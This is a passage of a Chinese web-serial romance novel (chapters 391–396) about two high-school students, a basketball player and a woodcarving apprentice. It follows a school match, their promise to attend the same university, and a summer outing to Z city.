魏川不是没有和女生坐过同桌,也有不少相处还不错的女同学,但没有一个名字在他口中逗留过,更别提会让家里人猜测他与对方的情感状况。 由此种种,魏思嘉可以断定:她这个弟弟对他的同桌有了点说不清道不明的心思。 不过十六七岁,春心萌动也属正常。 就看魏川以前只盯着篮球,对于喜欢他的女生不解风情,魏思嘉还担心过。 她笑着指了指楼上:“不上去看看?” 楚茵点了点头,随后做贼似的朝魏思嘉“嘘”了声:“咱俩偷偷上去看一眼,别被你弟弟发现了,省得他不高兴。” 魏思嘉挑了挑眉:“好。” 两人放轻脚步上了楼。 魏川将孟棠给的春联亲手贴到了房门口,阿姨在一旁给他看着,提醒一下左右。 还剩一张单独的“福”字,魏川问阿姨:“这个要贴哪儿?” 阿姨:“要不你贴窗户上?” “行。”魏川点了点头。 贴好后,魏川拍了两张照片发给了孟棠。 楚茵见他进了屋,上楼和阿姨对视了眼:“他给谁发信息呢?” 阿姨摇了摇头。 魏思嘉从半敞的门缝里看到魏川不值钱的笑,推了推楚茵:“您觉得是给谁发?” 楚茵伸头瞥了眼,一阵无语涌上心头。 闹心! 她索性下楼不看了。 殊不知她儿子更闹心,孟棠跟他聊了两句之后再没了信息。 之后的几天,魏川总要找借口和她聊两句,可也真的只有两句。 魏川不禁腹诽:她这么忙的吗? 过了初五小年,魏川返校训练。 可惜也没什么机会和借口去见孟棠,连续一个礼拜从她俩门口绕路,愣是没见着人。 直至开学,孟棠竟然还没回,魏川便好奇地在手机里问了句。 哪知孟棠在东麓参加木雕大赛,要半月后才回校。 班里同学习以为常,班主任更是如此,唯一不习惯的只有魏川了,他上课总会因为身旁的空荡荡而走神。 孟棠在半月后归校,为了补之前的课,每天空闲时间都在梁璐的办公室里。 忙到第一次月考后才松了口气。 魏川却又忙了起来,借着春季运动会的机会,雁清中学和隔壁一中约了一场篮球赛。 比赛就在三月底的周五下午,两个学校都要出个啦啦队。 班里没几个女生报名,最后上场的都是舞蹈生。 当然,两个学校的学生也要留下看赛,比赛结束放假两天。 不过只留了高二的艺术生,孟棠自然也在其中。 梁菲菲拉着孟棠选了个好位置,还给了她一个应援手拍。 “我靠,我竟然觉得好紧张啊。”梁菲菲说,“第一次看这样的对抗比赛。” 孟棠接过手拍,说:“实力就是这样练出来的,以后还要参加更大的比赛,总不能一直跟自己人打吧?” 梁菲菲说:“我知道,你猜一下今天哪个队伍会赢?” “一中篮球队一直都有,也是雁清所有中学实力最强的,我们有魏川、段思齐和陈瑞,还真不好说。” “我觉得我们应该能赢。”梁菲菲说,“毕竟练了这么久。” “不好说。”孟棠又不是没看过他们一起打球的样子,钱逊那几个人根本跟不上魏川的速度。 魏川只能反过来配合他们,但经过那么长时间的磨合,她也希望今天能打出点东西来。 第一节哨声响起,双方球员快速进入状态。 雁清中学率先拿到球,转而传给魏川,他一个起身,以惊人的速度三分开场。 全场热烈响应,也给队伍打了一记强心针。 宋冕、钱逊和时巍因为开场的三分球血液上涌,总体来说,第一节打得不错,双方比分差了四分,雁清中学赢。 但比分咬得紧,魏川不敢松懈,和周沉不断商讨着战术。 结果一中第一节在试探他们的实力,人家第二节和他们拉了平手。 这些人单拎出来,没有一个是魏川的对手,但团结在一起犹如铁笼。 魏川觉得他们的实力还可以,心里不焦躁,反倒稳了下来。 “第三节一定要拉开比分。”魏川气喘吁吁地说,“拉不开的话,这场比赛可能会输。” “别给我整什么比赛第二,友谊第一,赛场上没有朋友,只有第一名。” “你们应该时时刻刻牢记这一点,这是我们的第一场比赛,有没有信心?” “有!” 声音还挺洪亮,魏川和他们搭手:“加油。” 魏川和周沉商量过,最后一场要充分发挥其他人的能力,如果赢了,将是一记强有力的定心丸。 只剩下最后20秒,宋冕持球快速推进,却没找到进球机会,想起魏川教给他的技巧,他一个躲闪将球传给了段思齐。 段思齐接球后跑至篮下,一跃而起进了球。 全球沸腾,但比赛还没结束,此时已经平手,对方拿到球却被陈瑞截胡。 陈瑞没把握,将球给了魏川,魏川接球后,原地起跳,轻轻松松在空中划出一道完美的弧线。 “赢了!我们赢了!”宋冕都快落泪了,和时巍紧紧抱在一起,“靠,终于赢了一次。” 魏川笑着拍了拍他们的肩:“打得不。” 周沉在一旁唱黑脸:“就是比分咬得太紧,只是险胜。” 钱逊不理他,说:“险胜也是胜。” 周沉:“放假半天,明天下午过来复盘。” “还以为要放两天。”宋冕语气哀怨。 魏川:“……想什么呢,给你睡半天就不错了。” 余光瞥到孟棠要走,魏川连忙拿起自己的球:“我先走了,明天下午见。” 宋冕:“他急什么?” 没人理他,段思齐和陈瑞笑了声,拿了包也走了。 第391章 【if线 34】大学 魏川在门口追上孟棠,梁菲菲撇过头,藏着自己的姨母笑。 “你有事啊?”孟棠看着魏川。 魏川摇摇头:“没事。” “哦。”孟棠一时不知道该说什么。 魏川摸了一把头发,问她:“你觉得今天我们打得怎么样?” “很好啊。”孟棠说,“不是赢了嘛。” “我也觉得还不错。” 最起码比以前进步了很多,他也没想到和一中的第一次交手能够赢。 他预测是输的,说明这段时间的训练是有效果的。 三个人沿着路向前走了一段,没一会儿,梁菲菲和他俩挥手:“我前面拐弯了,拜拜。” 孟棠和她道别后,闷不做声继续往前。 魏川跨大步子追上去,问:“你这段时间很忙吗?” “嗯。”孟棠点了点头,“也就是月考过后轻松了些。” “怪不得一直没有回我信息。”魏川的语气还有点委屈。 “我什么时候没回你信息?”孟棠觉得莫名其妙。 “有啊。”魏川将手机打开,“自己看。” 孟棠看着一长串无人回应的问候,陷入了尴尬的沉默里。 “你吃不吃东西?”孟棠指了指路边摊。 “少吃点路边摊。”魏川看着摊车边缘黑厚的污垢皱了皱眉头,“不卫生。” 孟棠也看见了,顿时什么都吃不下了。 她平日里也不大吃这些东西,做不到在路上边走边吃。 “你这次考得怎么样?”魏川没话找话。 “应该会掉名次。”孟棠说,“落了半个月的课。” 魏川:“你不是补课了?” “上课和补课还是不一样的。”孟棠说,“没事,这次的题目比较难,高考应该不会这样没人性。” 魏川失笑:“你成绩很好,有目标大学吗?” “有啊。”孟棠说,“就近原则,z大。” 魏川停住脚步,语气里很是惊喜:“真的?你别是骗我的?” “我骗你干什么?”孟棠仰起头,“我的目标一直都是z大的雕塑系。” “雕塑系?”魏川有些惊讶,“不应该是工艺美术吗?” 孟棠笑道:“工艺美术的定位也就是传统手工艺和材料,还有非遗传承,这些东西我一直都在学,想要试试别的专业,雕塑系虽然不深入木雕,但人体解剖和泥塑对我很有用。” “泥塑?”魏川惊讶道,“木雕还和泥塑有关系吗?” 这真的是完全不懂行会问的话了。 说到木雕,孟棠的话就多了起来:“当然有关系,黄杨木生长很慢,不,是极其的慢,而且料子又小又贵,纹理也比较细腻,一刀刻错就会把整块料子弄废了。” “所以在雕刻之前要做泥塑,泥塑可以捏了改,改了捏,实在不满意还可以揉碎重来,木雕就不行。” “可是捏了也不是在木头上刻啊,怎么就能捏完再在木头上精准雕刻?” 虽说这是人家吃饭的本事,但魏川还是好奇。 “因为木头直接下刀可能会导致衣纹繁乱,手脚比例不协调,泥塑是一比一复制,也就是定魂。” “比如人物的动态,衣服纹样和走向,表情肌肉等等,这些在泥塑上可以直观看到,看一遍你就知道你在木头上应该怎么刻了。” 比如哪里要镂空,哪里要留厚…… 泥塑不过关的不准碰木头,因为没有经过泥塑这个步骤雕刻出来的作品是发飘的。 魏川似乎懂了,他又问:“你真的考z大?” 孟棠认真地点了点头,z大是靠她最近的最好的一所大学。 “我也是。” 简简单单的三个字,震得孟棠心一抖。 什么叫他也是? 魏川垂眸,看着孟棠的眼睛,说:“我也要去z大。” 孟棠一愣:“你以前的目标吗?” 魏川点了点头,其实他有几个选项,一直在犹豫,听到孟棠的目标是z大后,他没有一秒犹豫,果断下了决定。 z大是CUBA的老牌强队,底蕴不一样。教练组是国家队退役的指导,还有专门的体能教练、康复团队……全国来说也是数一数二的。 只要能进去,球队必然是全国各地精英荟萃。 魏川的目光重新落到孟棠身上,顿了顿,他突然射手:“那……咱俩约好,一起考z大?” 孟棠看着他幼稚的小拇指,抬手勾了上去。 魏川勾紧,朝她笑了笑,语气低沉而温柔:“拉过钩了,不准反悔。” 孟棠放下手指,下意识摩挲了下,她点了点头:“知道了。” 魏川很高兴,傻笑了声:“那咱俩可要互相监督学习情况。” “管好你自己吧。”孟棠小声道,莫名红了脸颊。 魏川说:“z大你去过吗?很漂亮的。” “没有。”孟棠摇头,“你经常去?” 魏川:“去过几次,我对那儿的环境挺满意的,还有植物园,湖也特别大,上课要骑车,但体育馆距离女生宿舍挺近的,说不定到时候你能去看我的比赛。” 孟棠安静地听着他描绘的未来,生出一抹难以言说的期待…… 第392章 【if线 35】飞溅的墨水 高中的生活没有那么多精彩的瞬间,几乎被试卷和学习沾满了时间。 魏川的一句话,让孟棠辗转反侧了好几个月。 每次拿到试卷,她的脑子里就自动浮现魏川要和她考一个学校的话。 她的成绩是够得上z大的,更别提她还有木雕手艺的加持。 之后呢?考上大学之后呢?孟棠不由自主地想。 “咚咚……” 画板被敲响,孟棠终于回神。 梁菲菲指了指外头:“天都黑了,回教室吗?” 孟棠点了点头:“回吧。” 两人收拾好画材后结伴着离开了画室。 梁菲菲察觉到孟棠有些心不在焉,说:“你这段时间好像一直都有点魂不守舍的,发生了什么事?” “有吗?”孟棠扭过脸。 “有啊。”梁菲菲抬起手,“吃饭发呆,画画发愣,走路都能出神……而且真正情况维持了好久,我见你也没影响学习就没问。” 孟棠讷讷道:“这么明显?” “所以你到底发生了什么事?”梁菲菲见她没有逃避,又问了句。 孟棠脚步一顿,似乎做了个心理建设,接着便道:“我问你啊,如果一个异性跟你约定去一个学校,是什么意思?” “谁约你了?”梁菲菲立刻抓住重点,“不会是周飞吧?” “乱说什么。”孟棠蹙眉,“也不是我,你就对着我问的说一说,别扯别人。” 不是周飞,那就是魏川? 对,一定是魏川,不然还有谁能让孟棠魂不守舍几个月啊? 梁菲菲觉得自己猜对了,得意又八卦地笑了声:“还能有什么意思?异性只有一个解读,那——” “我知道了,你别说。”孟棠猛地捂住梁菲菲的嘴。 梁菲菲一把拉下她手腕:“不你自己问我的吗?” “我现在不想问了。”孟棠拉着她转身,“走吧。” “你这人……”梁菲菲无奈了,“你既然知道我想说什么,那你自己想清楚了吗?” “你知道一个人的犹豫代表什么吗?”孟棠有点悲观地问。 梁菲菲想了会儿,说:“不合适?” 孟棠浅浅笑了声:“你说到点子上了,犹豫就代表各方各面都不合适,即便——” 她的话戛然而止。 “即便什么?”梁菲菲看着她。 进了教学楼的通道,孟棠的表情突然看不见了,一楼的灯坏了,还没修好。 梁菲菲急着知道答案,又问了遍:“即便什么啊?” 即便她的心已经有所动摇…… “即便他是个帅哥。” “什么啊。”梁菲菲失笑,“我还以为你会说即便你动心了呢。” 孟棠耸耸肩,故作轻松:“一点好感而已。” “呦,你这是明牌了?”梁菲菲拉住她,“你还以为你俩要傻不愣登一辈子呢?” “嗯?我俩?”孟棠指了指自己,“还有谁?” “魏川呗,还有谁。”梁菲菲说,“那你说的是谁?” 她说的也是魏川,不过…… “你还能看透魏川的想法?” “这有什么难的呢?”梁菲菲说,“咱们学校暗恋的人还少吗?我们班里就有人搞暗恋,旁人一看就能看出来,眼神都不一样,魏川看你的眼神不一样,但又不是暗恋。” 孟棠心一提,那是什么? “是明晃晃的喜欢。”梁菲菲指了指自己的眼睛,“他的眼睛看你的时候很亮,眼神藏着一汪水的感觉,简单来说,柔情似水,你不会没发现吧?” 孟棠一愣:“没有吧?” “你看,又当局者迷了,你不觉得他有点崇拜你吗?”梁菲菲说,“每次见着你,特别像一只大狗,当然,我没有骂他狗的意思,就是会摇尾巴,哎呀怎么说呢,就是开心,由内而外散发的开心,你看过他对你们班其他女生这样吗?” 孟棠摇摇头,魏川和班里的女生不太熟,认识的话会点头打招呼。 “说完魏川,再来说说你。”梁菲菲在楼梯口不走了。 “不能站这里。”孟棠略有心虚,“先回教室吧。” “你是不是知道我要说什么?”梁菲菲拉住孟棠,笑个不停,“孟棠,你完了,我跟你说,你真的完了,克你的来了。” 孟棠指了指她教室门口:“你们班主任已经在了。” “靠,我先走了,有空再聊。”梁菲菲迅速从后门溜进了教室。 孟棠回到教室的时候,大家基本上都在了,距离期末考还有十来天,这段时间,班主任说了要抓一下文化课。 魏川见她进来,起身给她让了座位。 这个学期已经换了好几次的位置,结果他俩雷打不动,还是同桌。 其实梁璐找过魏川,魏川不乐意换座位,而且除了文化课,他其余的时间都在训练,本来就见不到孟棠。 当然他不会弄说得这么直接,三言两语就把班主任糊弄过去了。 梁璐作为班主任,其实眼睛比谁都亮,之所以还让他俩做同桌,完全是因为他俩是有分寸,有追求的孩子。 “我还以为你今晚不回教室了。”魏川倾过身,小声地说了句。 热气就这么扑在耳边,孟棠猝不及防抓了一把,她往旁边躲了躲,惊心动魄地看了眼讲台。 梁璐在批改作业,孟棠推了把魏川的手臂,让他坐好。 魏川回正身体,用笔指了指她的试卷:“新发的两张,今晚必须要做完的,明早要讲。” “好。” 孟棠点了点头,将试卷翻开看了眼,两张都是语文的理解专项训练。 她拿过水笔,想要拔掉笔帽,结果怎么也拔不掉。 魏川朝她伸手:“我来。” 孟棠不信邪,想她平时搬木头,雕木头,训练手臂力量,怎么可能一个笔帽都拔不出来。 她一个用力,笔帽拔了出来,但有什么东西飞了出去。 孟棠撇过头,她的笔芯里面的黑色墨水全都飞了出去,溅了魏川一身。 从课桌到他的校服白T,再到脖颈衣领,连着下巴全都是黑色的墨水。 “对、对不起。”孟棠懵了一瞬,快速从课桌里拿出了一包湿纸巾。 因为在晚自习时间,他俩几乎用气声和眼神交流,倒也没有引起周边人的注意。 桌子上孟棠给他擦了,衣服上擦不掉,魏川指了指自己的脖颈:“这边有点凉,溅到了?” 孟棠点了点头。 魏川拿出一张湿纸巾递给她,随后扬起了头。 孟棠一愣,这是要她擦吗?大庭广众的…… ·· 第393章 【if线 36】邀请 魏川和一般少爷相比,是没什么少爷病的,但只能说明他教养好,除了篮球,其他方面都是被人伺候的命。 他自然而然地仰起头,脖颈连着喉结的线条绷得很紧。 孟棠一个学美术的,对于一切人或事物的线条都十分敏感,尤其是漂亮的线条。 孟棠拿了纸巾,鬼使神差就要给他擦的时候,梁璐走到他们身边,咳了声。 孟棠如梦初醒,陡然回神,将纸巾给魏川:“自己擦。” “我看不见啊。”魏川嘀咕一句,似乎说给梁璐听的。 梁璐看了眼他的衣服,问:“怎么回事?” “没事。”魏川抢话,“墨水溅到了而已。” 梁璐说:“向女生借个镜子,自己擦。” 魏川拿着纸巾照着地方大差不差地擦了两遍,说:“没事,快放学了,我回去处理。” 梁璐看了眼时间,说:“还有两个多小时才放学。” “知道了。”魏川有点敷衍,“我下课去卫生间处理。” 梁璐这才转身。 孟棠试卷都没做安稳,一节课下,她见魏川没动,倾身过去:“衣服应该洗不干净了,我赔你吧。” 魏川想说不用,不过一件衣服,可话到嘴边又改了个主意。 他看着孟棠,说:“这里没有的卖,z市的商场买的。” “多少钱?”孟棠看着他的眼睛,“我直接折现给你。” “那不行。”魏川说,“这衣服我都穿了两次了,还能叫你原价赔偿吗?” “没关系的,我可以赔偿。” “要不这样吧,放暑假了去z市逛一逛?”魏川语气试探,甚至做好了被拒绝的准备。 “去z市?”孟棠微怔,“去z市的商场里给你买一件一样的吗?你不觉得麻烦?” “有什么麻烦的啊,你去过z市吗?可以去看看,你又不缺钱。”魏川说。 “小时候和爷爷一起去过,不过已经记不得是什么样子了。”孟棠目光幽远,似乎在回忆以前的光景。 她从初中毕业就想着去一趟z市,逛一逛,玩一玩,但一直因为各种各样的事情被耽误。 梁菲菲前两天还说马上要过生日,暑假想去z市玩两天。 不过她就是随口一说,到底去不去,其实她自己还没决定下来。 魏川的提议,其实让她有点心动。 “要不我问问梁菲菲再给你回答?” 魏川一愣:“为什么要问她?” “她七月生日,想去z市玩,前两天跟我提了一下,说她爸妈不放心她一个人出门。” 魏川点了点头:“可以啊,你俩也正好有个伴,因为我能和你一起回z市,不一定能和你一起回来。” “你不是要训练吗?”孟棠问,“不在雁清训练?” 下个学期他就要参加正式的比赛,不可能不训练。 魏川说:“我通过我爸的关系,还有以前的教练,约了当地俱乐部的球员练习。” 还有可能有强队打打友谊赛,暑假的两个月是至关重要的。 孟棠其实对于他们的比赛很好奇,魏川看出来,说:“今晚一起走吧,你要是感兴趣,我可以给你说说。” 孟棠刚把他衣服弄脏,不好意思拒绝,便笑了笑,魏川便当她答应了。 最后一个小时,孟棠将语文卷子做好后收了起来,把一张数学和英语卷收进书包,准备带回去。 “你晚上回去写到几点?”魏川有点好奇。 孟棠觉得自己跟他聊过这个话题,他应该忘了你,孟棠回道:“不超过12点。” “我想起来了,你好像说过老爷子不让你熬夜是吧?” “嗯。”孟棠点了点头。 两人一前一后顺着人群出了教室。 “你们比赛是什么时候啊?你九月份转学满一年,是可以参加比赛了吧?”孟棠问。 “可以了。”魏川说,“比赛其实就是CHBL,俗称耐高,你应该听过的,报名时间正好也是暑假开学前后。” “是不是还分了好几个阶段?”孟棠问,“到时候连着各种各样的考试……” 她话没说完,魏川却知道她是什么意思。 考试和比赛都很重要,一个都不能落下,他们空闲时间都会统一补课。 “没事,这类的情况我有经验。”魏川给她解释,“我们每年正常训练,正常上课,要是出去比赛的话,除了训练和复盘时间,其余时间也得补课的,我们以前在z市,教练明文规定,成绩下滑没资格上场,就坐冷板凳。” 孟棠说:“雁清和z市的情况可不太一样。” 魏川:“不管在哪里,对我来说都是一样的,毕业之前,也就这一场比赛了。” “正式的比赛时间就是9月吧?”孟棠搜索过,依稀记得一点。 “是,12月之前回你决出省冠军,这就是基层赛。明年一二月份是全国的一个分区赛,这类比赛的时间,每个地方都不太一样,总决赛也挨得近,就在三四月份,也是全国16强的集中赛事。” “那你的目标是什么?”孟棠扭过脸看着他,“冠军吗?” 魏川突然笑了声:“我要说是的话,你是不是觉得我很狂妄?” 孟棠摇头:“你有这个资本。” 魏川突然叹了声气:“但我知道不可能,所以我的目标就是进16强。” 孟棠又道:“周老师以前带的那支队伍也是16强,你最起码要超过他们吧?” “你怎么跟老周说一样的话。”魏川失笑,“其实按照我们队伍目前的实力,16强都有点危险,我们是跟全国在打,如果是省内的话,我当然有这个信心。” 偏偏他在队友面前不能这么泄气,要涌动着情绪,一遍又一遍地告诉他们是可以做到的。 聊了一路,分别的路口近在咫尺。 魏川意犹未尽,转过身,说:“市赛的话都在本地,省赛去省会城市,之后的应该也不在雁清,也就是说,你只能看到市赛,孟棠同学,我正式向你发出观看比赛的邀请。” “我吗?”孟棠指了指自己。 “嗯。”魏川重重点了头,“你是我在这里的第一个朋友,我希望你能来。” 他的眼神十分认真,孟棠点了点头:“好,我去。” 第394章 【if线 37】女生 期末考一结束,成绩还没出来,雁清中学就放了假。 今年不知道走的什么路线,一反常态直接放了。 魏川的司机早就在大门口等着了,他不回住的地方,直接回z市。 “孟棠。”魏川追上来,“明天你们几点到站,我去接你们。” 孟棠说:“中午吧,九点的车。” 十一点多正好到站吃个午饭。 “行。”魏川朝她挥了挥手,“明天见。” “明天见。” 孟棠和梁菲菲说了这件事,梁菲菲想了三天三夜,终于对着父母软磨硬泡同意了她的z市之旅。 回到家后,孟棠开始收拾行李。 孟遇春拿过来一个信封,里面是三千块现金。 孟棠说:“我有钱。” “现金没有吧。”孟遇春将信封塞到她包里,“穷家富路。” 孟棠失笑:“咱家现在也不穷吧。” 孟遇春说:“我待会儿再给你转一点钱,你自己看上什么就买,不要觉得贵,酒店订好一点的,毕竟两个女孩子。” “我有——” “知道你有钱,但我给你的你就拿着。”孟遇春说,“z市跟雁清又不一样,家里的资产以后都是你的,你还跟我客气什么?” “知道了。” 孟棠不再反驳,不然她爷爷还有大道理等着她呢。 其实她身上是真的有钱,她这个人物欲不高,除非看到自己特别喜欢的物件,不然一分钱都不会花。 在学校里几套校服轮流穿,再加上她没有父母,即便常服也比较朴素,以至于班里的同学都误会她家境不好。 孟棠从来没有辩驳,不管怎么样,低调一点总是没错的。 行李没收好,方姐就喊她吃饭了。 孟棠拍了拍手,将书包的拉链拉上走了出去。 一日三餐,方姐从来不会糊弄,孟棠其实不太爱出去吃饭,有些餐厅的饭菜还没有方姐做的好吃。 “你们放假了啊?”方姐笑着问。 孟棠点了点头:“放了,我明天和同学去z市玩两天,爷爷就拜托你照顾了。” “老爷子跟我说了,放心去玩吧。”方姐说,“前两年放假,老爷子让你出门你就宅在家里,今年怎么想开了?” “我同学过生日。”孟棠眨巴着眼睛,“我也没去过z市,有点好奇。” “多出去走走也好,你不是说要去z大嘛,可以提前去看看,也就一年时间了。” “对。” 孟棠一字一句地附和着。 吃完饭,孟棠回到房间继续收拾行李。 期间梁菲菲给她发了短信,让她定个闹钟,以防第二天睡过头。 就算不定闹钟,孟棠第二天也能起来,生物钟一时半刻是改不掉的。 忙了一身的汗,终于收拾好了行李,孟棠打算去洗个澡的时候,手机又响了起来。 她打开手机看了眼,是魏川的信息,说他到家了。 开车四五个小时,现在刚过九点,他这是下了车就给她发了信息了。 孟棠不着急洗澡了,转身靠在柜子上,回复:【你刚到吗?】 魏川:【是啊,刚下车就给你发信息了。】 孟棠:【……我刚收拾好行李,打算去洗澡了。】 魏川:【我还没吃饭呢,你先忙。】 孟棠当真不回复了,扔了手机,拿了衣服进了浴室。 魏川有点饿,厨房里已经备着了。 好不容易回来一趟,全家都当个宝宠着,他一个人去餐厅吃饭,结果在家的全都跟了进去。 魏川一抬头,被吓了一跳:“……你们还没吃?” “吃了。”楚茵的目光落在他手机上,“放下手机再吃饭。” 魏川熄屏,将手机放在一旁。 “明天我跟你姐姐们打算去香港玩一圈,你也一起去吧,放松一下。” “嗯?”魏川抬眸,“之前怎么没说,我有约了。” 楚茵蹙眉:“有约?谁啊?” “我有同学从雁清过来,我答应人家明天尽地主之谊了。”魏川理直气壮,“您跟姐姐们去玩吧,我一个大男生跟在你们一群女人身后,只有拎包的份。” 楚茵:“……男同学还是女同学啊?” “妈!”魏川蹙眉,“同学还分什么男女吗?不管是男是女,我都答应人家了。” “得,”楚茵摊了摊手,“是女生。” 魏川:“……我吃饭了,您出去猜吧。” 楚茵不好耽误他吃饭,转头问魏思嘉:“不会是孟棠吧?” 魏思嘉挑了挑眉:“八九不离十。” 楚茵:“……” 魏川这小子难不成还真喜欢上人家了? 其实上次过后,她特意套了在雁清照顾魏川的阿姨的话。 得知孟棠家世清白,低调内敛,成绩又好,还是木雕非遗的传承人,其实她心里很有好感。 当初魏川去雁清的时候,她生怕他受到环境影响,和一些不太好的学生往来,从而自暴自弃。 但这一年下来,魏川的性格越来越稳,楚茵自豪的同时也有些好奇。 因为他去雁清之后,状态迅速就调整了过来,有点不可思议。 从侧面印证了一下,应该跟这个叫孟棠的女生也有点关系。 楚茵并不是老顽固,她自然也理解青春期的孩子,只要正常往来,她其实是支持的。 和优秀的人交往相处,是可以从对方身上汲取力量和学到知识的。 想开了,楚茵反倒笑了声。 他儿子和一般富二代不太一样,他练球受过不少伤,吃过不少苦,如果真有一个能让他开心放松的人,楚茵是开心的。 餐厅里只剩魏川一个人时,他拿出手机,给好朋友秦渊打了个电话。 虽说他和秦渊一起长大,但秦渊其实比他大了两岁,也就是说,秦渊可以开车,他也有驾照。 当初他幼儿园没读,等魏川上学的时候,他硬是要和魏川一起。 秦家人也宠孩子,还真答应了他这无理的要求。 魏川给秦渊打了个电话,秦渊这人爱凑热闹,立刻就答应了。 “诶?别挂,我有个问题啊。”秦渊拦住他,“你同学男的女的啊?” “两个女生。” “女生?”秦渊惊讶了,“你要跟女生逛街?你都很少陪你姐逛街吧?” “废话怎么那么多。” 生怕魏川恼了不让他去了,秦渊连忙道:“不问了不问了,明天我一定当好你的司机。” 能让魏川亲自迎接还陪着逛街的人,他可得好好见识一下 第395章 【if线 38】原来是喜欢 十一点十七分,孟棠和梁菲菲到站。 两人人生地不熟,只能跟着人群走。 梁菲菲抵了抵孟棠:“出口很多,要不你给魏川打个电话问问,他不是过来接你吗?” “我发个信息。” “哎呀,直接打电话。”梁菲菲说,“都什么时候了。” 话音刚落,孟棠的手机响了起来。 梁菲菲余光一瞥,笑道:“快接吧。” 孟棠接起,“喂”了声。 “你们到站了吧?来南广场,看指示牌,我就在出口。” 孟棠抬眸,看到指示牌后,拍了拍梁菲菲:“这里。” 挂断电话,两人往南广场,顺着人群去了出站口。 出站口很大,但魏川很高,一眼看到了中间出口的孟棠。 “孟棠。”魏川举起手,“这里。” 孟棠一抬眸,差点被魏川灿烂的笑晃了眼。 出了站,魏川指了指后边,“车在对面,估计得麻烦你俩走一段路。” “没事。” 这会儿是中午,太阳毒得很,但梁菲菲和孟棠都戴了太阳帽,魏川的太阳伞就没了用武之地。 “你出门还带了司机啊?”梁菲菲笑了声,“今天也是给我蹭上了。” “没有司机,朋友开车过来的。”魏川说。 “朋友?”孟棠回眸,“你的朋友跟你差不多大吧?怎么开车?” 魏川说:“他成年了,放心吧。” 过了马路,秦渊开着suv等在路边,他刚要招呼,被魏川打断:“先开车,这里不能长时间停车。” 秦渊耸耸肩,先把车开了出去。 汇入车流后,秦渊从后视镜里看了眼孟棠和梁菲菲。 魏川发现后,“啧”了声:“你先开车。” “还不让看了。”秦渊嘀咕了句。 魏川在副驾,他看了眼时间,微微转过身,问孟棠:“你俩中午想吃什么?” 孟棠摇摇头:“不知道。” 秦渊轻笑,这实诚的回答。 魏川白了他一眼,说:“那就跟我走吧。” “去哪儿啊?”孟棠还是问了一句。 他有钱,不代表她俩有钱啊,别是去什么消费不起的地方,她可以A一下,梁菲菲不行啊。 “放心吧,就在景区旁边的一条街,很多吃的喝的,接地气的。”魏川似乎看穿了她,“吃完饭正好逛一逛。” “不是要赔你衣服吗?”孟棠有些疑惑,“不要去商场吗?” 那件T恤她查过,三千多块钱的品牌货,这边的商场才有货售卖,可他偏偏选了个景区。 “还真要你赔啊。”魏川失笑,“跟你说着玩的。” “要赔。”孟棠看着他,“下午我跟菲菲自己去买。” “那我也不能要你新的啊。”魏川感觉搬起石头砸了自己的脚,“给你打一折吧,折现就行。” 孟棠:“……你是不是耍我?” “赔什么啊?”秦渊默默问了句。 魏川说:“她把我衣服弄脏了,要赔我。” “怎么脏的?”秦渊八卦的心达到了顶峰。 魏川听着不对劲,指了指他,无声地警告了一遍,要不是秦渊在开车,这会儿已经遭受暴打了。 还好孟棠根本没听懂,还单纯地解释了一遍,说自己将墨水甩到了魏川身上。 秦渊抿唇忍笑,一本正经地“哦”了声:“没必要赔,这才几个钱,他要是收了成什么人了。” 孟棠:“……” 她来这里的目的不就是赔他衣服吗? “到了。”前头的魏川忽然说了句,“下车吧,快十二点了。” 孟棠和梁菲菲一前一后下了车,跟着魏川一道进了餐厅。 这家餐厅的装修风格是原木风的,魏川定的位置在二楼靠窗,可以看到湖景。 “我提前点了餐,防止你俩到这边还要等。” 很贴心,梁菲菲抵了抵孟棠,朝她暧昧地笑了下。 孟棠:“……” 刚落座,服务员就上了餐。 孟棠确实饿了,在魏川的招呼下,慢条斯理地吃了起来。 魏川和秦渊不饿,算是填饱肚子,席间,魏川一直在默默照顾孟棠,看得秦渊惊奇不已。 大少爷还是被伺候的命了,已经学会照顾人了。 他将孟棠重新打量了一遍,长得是不错,气质也很沉静独特。 但家境应该不太好,从手上的老茧就能看得出来。 家庭悬殊太大,谈谈恋爱还可以,结婚可就难了。 楚茵那关就不好过。 他这兄弟还没谈过恋爱,这是第一个动了心思的。 这顿饭吃了将近一个小时,饭后,孟棠和梁菲菲去了卫生间。 秦渊敲了下桌面:“诶,你动心了啊?” “什么动心。”魏川蹙眉,“从见到孟棠开始,你就挤眉弄眼的,咋啦?眼睛不舒服?” “靠。”秦渊服了,“你别跟我装傻,我说什么你不知道?” “那你也别污蔑别人清白,我跟她就是同学。” “有本事你后半句别虚啊。”秦渊白他一眼,“咱俩穿一个裤子长大,我还不了解你?你要是对人家没有好感,能这么献殷勤?还亲自作陪?” “你那金贵的时间全都用来训练了,我平时约你都难,你就轻飘飘地给了她。” “那是因为她是我在雁清的第一个同学。”魏川嘴硬。 “呵呵……”秦渊笑了,“就你这性格,要是看她不顺眼,她就不会成为你的第一个朋友,承认吧。” 魏川:“……你特么让我承认什么?” “承认你喜欢她呗。”秦渊直接道。 “我——” “你不喜欢啊?”秦渊坏笑,“那行,我觉得她挺漂亮的,要不我——” “滚。”魏川的脸色陡然沉了下去。 “我靠,我开玩笑的。”秦渊立刻跟他拉开距离,“你真的是重色轻友啊,我就试探试探你,你别告诉我,你还把人家当朋友。” “费尽心机把人哄到这里,你缺那三千块钱吗?” 魏川一时无言,心里有个念头轰然坍塌。 原来是喜欢! 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第396章 【if线 39】照片 秦渊的话扰在魏川的心头,再见到孟棠时,他怎么看怎么别扭。 或许不是别扭,只是心态变了,一下不知道怎么面对了。 孟棠又不是傻子,她察觉到魏川有些不太对劲。 不过她也没有多想,只是两人走到一起时,偏头问了句:“你是不是有事?有事可以先走,不用招待我和菲菲,我们自己逛。” “没事。”魏川回神,“接下来你们要去哪里逛?” “赔你衣服啊。”孟棠说,“总不能来一趟正事不干吧?” “放假,商场里的人挤不动的。”秦渊在一旁悠哉悠哉,“难得来一趟z市,陪你俩逛一逛吧,虽然景区也没什么好玩的。” “那衣服……”孟棠有些犹豫。 “这样吧,圣诞节那天是我生日,要不你随便给我送个小木雕?”魏川提出了解决办法。 孟棠思考了一下,点了点头:“可以。” 魏川笑了笑:“走,你们想去玩什么?” 玩什么,她明天和梁菲菲自有安排,孟棠说:“随便逛一逛吧,人太多了,想要拍照片都拍不出来效果。” “确实。”秦渊赞同地点了点头,“人挤人就这样,假期只适合在家,要么就去别人不知道的小众景点。现在连国外都去不了,到处都是人。” 